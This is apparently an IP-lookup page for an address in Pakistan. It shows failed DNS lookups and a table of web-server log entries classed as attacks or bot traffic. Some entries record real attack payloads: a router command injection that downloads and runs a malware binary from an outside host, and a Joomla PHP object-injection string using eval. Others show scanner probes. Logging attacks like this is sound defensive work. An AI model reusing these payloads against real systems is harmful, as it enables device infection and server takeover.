City: unknown
Region: unknown
Country: Pakistan
Internet Service Provider: unknown
Hostname: unknown
Organization: unknown
Usage Type: unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 175.107.11.140
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 4728
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;175.107.11.140. IN A
;; AUTHORITY SECTION:
. 151 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2022020702 1800 900 604800 86400
;; Query time: 71 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Tue Feb 08 10:45:46 CST 2022
;; MSG SIZE rcvd: 107Host 140.11.107.175.in-addr.arpa not found: 2(SERVFAIL)
server can't find 175.107.11.140.in-addr.arpa: SERVFAIL| IP | Type | Details | Datetime |
|---|---|---|---|
| 185.244.25.124 | attack | 185.244.25.124 - - [26/Apr/2019:05:01:46 +0800] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=wget%20http://185.244.25.124/bins/maouji.mips%20-O%20/var/tmp/maouji.mips;%20chmod%20777%20/var/tmp/maouji.mips;%20/var/tmp/maouji.mips netgear;%20rm%20-rf%20/var/tmp/maouji.mips&curpath=/¤tsetting.htm=1" 400 0 "-" "-" |
2019-04-26 05:02:44 |
| 45.114.10.12 | attack | 45.114.10.12 - - [06/May/2019:21:45:27 +0800] "GET / HTTP/1.1" 301 194 "-" "}__test|O:21:\\x22JDatabaseDriverMysqli\\x22:3:{s:2:\\x22fc\\x22;O:17:\\x22JSimplepieFactory\\x22:0:{}s:21:\\x22\\x5C0\\x5C0\\x5C0disconnectHandlers\\x22;a:1:{i:0;a:2:{i:0;O:9:\\x22SimplePie\\x22:5:{s:8:\\x22sanitize\\x22;O:20:\\x22JDatabaseDriverMysql\\x22:0:{}s:8:\\x22feed_url\\x22;s:277:\\x22eval(chr(100).chr(105).chr(101).chr(40).chr(109).chr(100).chr(53).chr(40).chr(68).chr(73).chr(82).chr(69).chr(67).chr(84).chr(79).chr(82).chr(89).chr(95).chr(83).chr(69).chr(80).chr(65).chr(82).chr(65).chr(84).chr(79).chr(82).chr(41).chr(41).chr(59));JFactory::getConfig();exit\\x22;s:19:\\x22cache_name_function\\x22;s:6:\\x22assert\\x22;s:5:\\x22cache\\x22;b:1;s:11:\\x22cache_class\\x22;O:20:\\x22JDatabaseDriverMysql\\x22:0:{}}i:1;s:4:\\x22init\\x22;}}s:13:\\x22\\x5C0\\x5C0\\x5C0connection\\x22;b:1;}\\xF0\\xFD\\xFD\\xFD"
45.114.10.12 - - [06/May/2019:21:45:27 +0800] "GET / HTTP/1.1" 301 194 "-" "}__test|O:21:\\x22JDatabaseDriverMysqli\\x22:3:{s:2:\\x22fc\\x22;O:17:\\x22JSimplepieFactory\\x22:0:{}s:21:\\x22\\x5C0\\x5C0\\x5C0disconnectHandlers\\x22;a:1:{i:0;a:2:{i:0;O:9:\\x22SimplePie\\x22:5:{s:8:\\x22sanitize\\x22;O:20:\\x22JDatabaseDriverMysql\\x22:0:{}s:8:\\x22feed_url\\x22;s:277:\\x22eval(chr(100).chr(105).chr(101).chr(40).chr(109).chr(100).chr(53).chr(40).chr(68).chr(73).chr(82).chr(69).chr(67).chr(84).chr(79).chr(82).chr(89).chr(95).chr(83).chr(69).chr(80).chr(65).chr(82).chr(65).chr(84).chr(79).chr(82).chr(41).chr(41).chr(59));JFactory::getConfig();exit\\x22;s:19:\\x22cache_name_function\\x22;s:6:\\x22assert\\x22;s:5:\\x22cache\\x22;b:1;s:11:\\x22cache_class\\x22;O:20:\\x22JDatabaseDriverMysql\\x22:0:{}}i:1;s:4:\\x22init\\x22;}}s:13:\\x22\\x5C0\\x5C0\\x5C0connection\\x22;b:1;}\\xF0\\xFD\\xFD\\xFD" |
2019-05-06 21:47:27 |
| 102.249.0.81 | bots | 102.249.0.81 - - [25/Apr/2019:06:39:08 +0800] "GET /check-ip/96.248.79.45 HTTP/1.1" 200 8853 "https:/" "Mozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20100101 Firefox/6.0 FirePHP/0.6" 102.249.0.81 - - [25/Apr/2019:06:39:08 +0800] "GET /check-ip/100.4.47.199 HTTP/1.1" 200 9297 "https:/" "Mozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20100101 Firefox/6.0 FirePHP/0.6" 102.249.0.81 - - [25/Apr/2019:06:39:10 +0800] "GET /check-ip/108.4.32.103 HTTP/1.1" 200 8793 "https:/" "Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1)" 102.249.0.81 - - [25/Apr/2019:06:39:11 +0800] "GET /check-ip/63.117.76.126 HTTP/1.1" 200 8618 "https:/" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; yie8)" |
2019-04-25 06:42:37 |
| 94.43.174.156 | bots | 94.43.174.156 - - [05/May/2019:12:31:07 +0800] "GET /check-ip/206.74.135.217 HTTP/1.1" 200 92350 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; InfoPath.3)" |
2019-05-05 12:31:32 |
| 139.59.23.231 | botsattack | 139.59.23.231 - - [24/Apr/2019:19:27:23 +0800] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 301 194 "-" "ZmEu" 139.59.23.231 - - [24/Apr/2019:19:27:23 +0800] "GET HTTP/1.1" 400 182 "-" "-" 139.59.23.231 - - [24/Apr/2019:19:27:23 +0800] "GET HTTP/1.1" 400 182 "-" "-" |
2019-04-24 19:28:05 |
| 194.36.98.109 | botsattack | 194.36.98.109 - - [03/May/2019:07:48:07 +0800] "GET /index.php?option=com_user&task=register HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/71.0.3542.0 Safari/537.36" 194.36.98.109 - - [03/May/2019:07:48:09 +0800] "GET /index.php/component/users/?view=registration HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/71.0.3542.0 Safari/537.36" 194.36.98.109 - - [03/May/2019:07:48:11 +0800] "GET /modules.php?name=Your_Account HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/71.0.3542.0 Safari/537.36" 194.36.98.109 - - [03/May/2019:07:48:15 +0800] "GET /member/ HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/71.0.3542.0 Safari/537.36" 194.36.98.109 - - [03/May/2019:07:48:18 +0800] "GET /index.php?act=dispMemberLoginForm HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/71.0.3542.0 Safari/537.36" 194.36.98.109 - - [03/May/2019:07:48:24 +0800] "GET /yabb.pl HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/71.0.3542.0 Safari/537.36" 194.36.98.109 - - [03/May/2019:07:48:27 +0800] "GET /YaBB.cgi HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/71.0.3542.0 Safari/537.36" |
2019-05-03 07:49:04 |
| 72.14.199.108 | bots | 72.14.199.108 - - [28/Apr/2019:07:04:43 +0800] "GET /check-ip/204.212.187.18 HTTP/1.1" 200 11670 "-" "Mediapartners-Google" |
2019-04-28 07:05:59 |
| 69.30.243.244 | bots | 疑似伪造UA爬虫 69.30.243.244 - - [05/May/2019:12:19:24 +0800] "GET /check-ip/113.53.83.48 HTTP/1.1" 200 10113 "https://ipinfo.asytech.cn" "ia_archiver (+http://www.alexa.com/site/help/webmasters; crawler@alexa.com)" 69.30.243.244 - - [05/May/2019:12:19:24 +0800] "GET /check-ip/171.7.246.129 HTTP/1.1" 200 9681 "https://ipinfo.asytech.cn" "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)" 69.30.243.244 - - [05/May/2019:12:19:25 +0800] "GET /check-ip/64.49.72.210 HTTP/1.1" 200 10263 "https://ipinfo.asytech.cn" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 69.30.243.244 - - [05/May/2019:12:19:26 +0800] "GET /check-ip/36.89.134.161 HTTP/1.1" 200 10302 "https://ipinfo.asytech.cn" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)" 69.30.243.244 - - [05/May/2019:12:19:27 +0800] "GET /check-ip/36.67.134.3 HTTP/1.1" 200 9927 "https://ipinfo.asytech.cn" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)" 69.30.243.244 - - [05/May/2019:12:19:28 +0800] "GET /check-ip/75.141.151.0 HTTP/1.1" 200 10497 "https://ipinfo.asytech.cn" "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)" 69.30.243.244 - - [05/May/2019:12:19:30 +0800] "GET /check-ip/36.75.67.63 HTTP/1.1" 200 10095 "https://ipinfo.asytech.cn" "ia_archiver (+http://www.alexa.com/site/help/webmasters; crawler@alexa.com)" |
2019-05-05 12:24:28 |
| 41.58.74.105 | bots | 41.58.74.105 - - [01/May/2019:08:55:44 +0800] "HEAD /check-ip/185.244.25.124 HTTP/1.1" 200 0 "https://ipinfo.asytech.cn/check-ip/68.0.71.29" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2376.69 Safari/537.36" 41.58.74.105 - - [01/May/2019:08:55:44 +0800] "HEAD /check-ip/72.14.199.112 HTTP/1.1" 200 0 "https://ipinfo.asytech.cn/check-ip/68.0.71.29" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2376.69 Safari/537.36" 41.58.74.105 - - [01/May/2019:08:55:44 +0800] "HEAD /check-ip/222.186.10.54 HTTP/1.1" 200 0 "https://ipinfo.asytech.cn/check-ip/68.0.71.29" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2376.69 Safari/537.36" 41.58.74.105 - - [01/May/2019:08:55:44 +0800] "HEAD /check-ip/5.231.205.168 HTTP/1.1" 200 0 "https://ipinfo.asytech.cn/check-ip/68.0.71.29" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2376.69 Safari/537.36" 41.58.74.105 - - [01/May/2019:08:55:44 +0800] "HEAD /check-ip/138.91.125.32 HTTP/1.1" 200 0 "https://ipinfo.asytech.cn/check-ip/68.0.71.29" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2376.69 Safari/537.36" |
2019-05-01 09:10:16 |
| 128.201.175.22 | attack | 128.201.175.22 - - [29/Apr/2019:08:10:46 +0800] "GET /index.php/using-joomla/extensions/components/users-component/registration-form HTTP/1.1" 301 194 "-" "Mozilla/3.0 (compatible; Indy Library)" |
2019-04-29 08:11:47 |
| 148.64.56.117 | bots | 爬虫区间是148.64.56.0 to 148.64.56.255 (148.64.56.0/24) 148.64.56.117 - - [28/Apr/2019:09:09:44 +0800] "GET /check-ip/58.17.114.102 HTTP/1.1" 200 10015 "-" "Mozilla/5.0 (compatible; GrapeshotCrawler/2.0; +http://www.grapeshot.co.uk/crawler.php)" |
2019-04-28 09:15:32 |
| 180.153.186.142 | bots | 180.153.186.142 - - [06/May/2019:15:23:56 +0800] "GET / HTTP/1.1" 301 194 "-" "Mozilla/5.0 (compatible; Wappalyzer)" 180.153.186.142 - - [06/May/2019:15:23:57 +0800] "GET / HTTP/1.1" 200 10365 "http://118.25.52.138/" "Mozilla/5.0 (compatible; Wappalyzer)" 180.153.186.142 - - [06/May/2019:15:24:03 +0800] "HEAD / HTTP/1.1" 301 0 "-" "Chrome/54.0 (Windows NT 10.0)" 180.153.186.142 - - [06/May/2019:15:24:05 +0800] "HEAD / HTTP/1.1" 200 0 "-" "Chrome/54.0 (Windows NT 10.0)" 180.153.186.142 - - [06/May/2019:15:24:05 +0800] "HEAD / HTTP/1.1" 301 0 "-" "chrome 100" 101.198.186.223 - - [06/May/2019:15:24:05 +0800] "GET / HTTP/1.1" 301 194 "-" "Chrome/54.0 (Windows NT 10.0)" 101.198.186.223 - - [06/May/2019:15:24:06 +0800] "GET / HTTP/1.1" 200 10365 "-" "Chrome/54.0 (Windows NT 10.0)" |
2019-05-06 15:28:30 |
| 128.14.209.234 | attack | 128.14.209.234 - - [04/May/2019:07:46:13 +0800] "GET /console/login/LoginForm.jsp HTTP/1.1" 404 465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) C hrome/60.0.3112.113 Safari/537.36" |
2019-05-05 09:00:41 |
| 148.64.56.66 | bots | 爬虫，可以禁掉 148.64.56.66 - - [27/Apr/2019:05:31:15 +0800] "GET /robots.txt HTTP/1.1" 301 194 "-" "Mozilla/5.0 (compatible; GrapeshotCrawler/2.0; +http://www.grapeshot.co.uk/crawler.php)" 148.64.56.66 - - [27/Apr/2019:05:31:17 +0800] "GET /robots.txt HTTP/1.1" 200 472 "-" "Mozilla/5.0 (compatible; GrapeshotCrawler/2.0; +http://www.grapeshot.co.uk/crawler.php)" 148.64.56.66 - - [27/Apr/2019:05:31:23 +0800] "GET /check-ip/193.85.177.25 HTTP/1.1" 301 194 "-" "Mozilla/5.0 (compatible; GrapeshotCrawler/2.0; +http://www.grapeshot.co.uk/crawler.php)" 148.64.56.66 - - [27/Apr/2019:05:31:24 +0800] "GET /check-ip/193.85.177.25 HTTP/1.1" 200 9571 "-" "Mozilla/5.0 (compatible; GrapeshotCrawler/2.0; +http://www.grapeshot.co.uk/crawler.php)" |
2019-04-27 06:48:13 |
| 45.233.193.204 | bots | 45.233.193.204 - - [07/May/2019:08:09:34 +0800] "GET / HTTP/1.0" 301 194 "-" "-" |
2019-05-07 08:10:41 |